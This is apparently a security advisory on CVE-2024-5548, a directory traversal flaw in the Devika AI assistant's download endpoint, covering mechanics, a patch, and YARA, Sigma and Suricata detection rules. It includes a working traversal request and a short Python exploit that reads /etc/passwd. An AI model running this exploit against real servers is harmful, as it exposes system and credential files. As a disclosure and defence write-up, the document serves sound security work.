CVE-2024-5548

Executive Summary

CVE-2024-5548 is a critical directory traversal vulnerability in the Stitionai Devika project, specifically within the /api/download-project endpoint. The flaw allows an unauthenticated attacker to read arbitrary files from the server by manipulating the project_name parameter in a GET request. With a CVSS score of 7.5, this vulnerability poses a high risk to confidentiality, as it can lead to the exposure of sensitive system files, configuration data, and source code. The vulnerability remains unpatched, and public proof-of-concept (PoC) code is available, increasing the urgency for defensive measures.

Supply Chain & Package Security

This vulnerability affects the Stitionai Devika project, which is a Python-based AI assistant. The project is distributed via GitHub and can be installed as a Python package. Organizations using Devika should immediately assess their exposure and implement mitigations, as no official patch exists. The lack of a patch means that supply chain security is compromised; any deployment of Devika is at risk until a fix is applied or the service is taken offline.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is easily exploitable over the network without authentication, making it a high-priority threat for any exposed Devika instance.

Deep Dive & Mechanics

The vulnerability resides in the download_project function within the Devika application. The endpoint /api/download-project accepts a project_name parameter via a GET request. Due to insufficient input validation, the application does not sanitize or restrict the project_name value, allowing path traversal sequences (e.g., ../) to escape the intended project directory.

When a request is made, the application constructs a file path by concatenating a base directory with the user-supplied project_name. For example:

base_path = "/app/projects/"
file_path = os.path.join(base_path, project_name)

If an attacker provides ../../../etc/passwd, the resulting path becomes /app/projects/../../../etc/passwd, which resolves to /etc/passwd. The application then reads and returns the contents of this file without any checks.

This flaw is a classic example of CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). The lack of input validation and absence of a whitelist for allowed files or directories enables arbitrary file read.

Vulnerable vs. Patched Code

Vulnerable Code (Python):

@app.route('/api/download-project', methods=['GET'])
def download_project():
    project_name = request.args.get('project_name')
    base_path = '/app/projects/'
    file_path = os.path.join(base_path, project_name)
    if os.path.exists(file_path):
        return send_file(file_path, as_attachment=True)
    else:
        return "File not found", 404

Patched Code (Hypothetical):

import os
from flask import abort

ALLOWED_BASE = os.path.abspath('/app/projects/')

@app.route('/api/download-project', methods=['GET'])
def download_project():
    project_name = request.args.get('project_name')
    # Sanitize: remove any path traversal sequences
    safe_name = os.path.basename(project_name)
    file_path = os.path.join(ALLOWED_BASE, safe_name)
    # Resolve and verify the path is within the allowed base
    real_path = os.path.realpath(file_path)
    if not real_path.startswith(ALLOWED_BASE):
        abort(403)
    if os.path.exists(real_path):
        return send_file(real_path, as_attachment=True)
    else:
        return "File not found", 404

The patched version uses os.path.basename() to strip directory components and then verifies that the resolved path starts with the allowed base directory, preventing traversal.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Devika (latest version) accessible over the network.
• No authentication required for the /api/download-project endpoint.

Exploit Steps:

1. Identify the target Devika instance (e.g., http://target:5000).
2. Craft a GET request with a malicious project_name parameter to traverse directories.
3. Example request to read /etc/passwd:

   GET /api/download-project?project_name=../../../etc/passwd HTTP/1.1
   Host: target:5000
   

4. The server will return the contents of the requested file.

Automated Exploit (Python):

import requests

target = "http://target:5000"
payload = "../../../etc/passwd"
url = f"{target}/api/download-project?project_name={payload}"
response = requests.get(url)
if response.status_code == 200:
    print(response.text)
else:
    print(f"Failed: {response.status_code}")

Expected Output:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

Blue Team (Defense & Detection)

Immediate Actions:

• Isolate the Devika instance from the internet if possible.
• Apply a reverse proxy (e.g., Nginx) with rules to block path traversal patterns.
• Monitor logs for suspicious project_name values containing ../ or ..\\.

Detection Rules:

• Look for HTTP GET requests to /api/download-project with project_name containing ../ or ..\\.
• Alert on any successful file read from outside the expected project directory.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP GET requests to /api/download-project with project_name containing ../ or ..\\.
  • Outbound data transfers from the Devika server to external IPs (if exfiltrating data).
• File System IOCs:
  • Unexpected file reads from /etc/passwd, /etc/shadow, /proc/self/environ, or application configuration files.
• Log IOCs:
  • Web server logs showing requests with path traversal patterns.
  • Application logs indicating file access outside the project directory.

Detection Engineering

YARA Rule

rule CVE_2024_5548_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting CVE-2024-5548 in Devika"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5548"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $endpoint = "/api/download-project"
    condition:
        $endpoint and ($traversal1 or $traversal2)
}

Sigma Rule

title: CVE-2024-5548 Directory Traversal in Devika
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects path traversal attempts in the /api/download-project endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/api/download-project'
        cs-uri-query|contains: '../'
    condition: selection
falsepositives:
    - Legitimate use of project names containing dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-5548 Devika Directory Traversal"; flow:to_server,established; content:"GET"; http_method; content:"/api/download-project"; http_uri; content:"../"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigations:

1. Disable the endpoint: If not required, remove or disable the /api/download-project endpoint.
2. Apply a reverse proxy: Use Nginx or Apache to block requests containing ../ in the project_name parameter.
3. Input validation: Implement server-side validation to reject any project_name containing path traversal sequences.
4. Least privilege: Run the Devika application with minimal file system permissions to limit the impact of a successful exploit.

Long-term Fix:

• The vendor must release a patch that properly sanitizes the project_name parameter and restricts file access to the intended directory.
• Until a patch is available, consider migrating to an alternative solution or implementing a custom fix as shown in the patched code example.

Monitoring:

• Enable detailed logging for all requests to /api/download-project.
• Set up alerts for any detection rule matches.

Report generated by Valters IT DevSecOps & CTI Division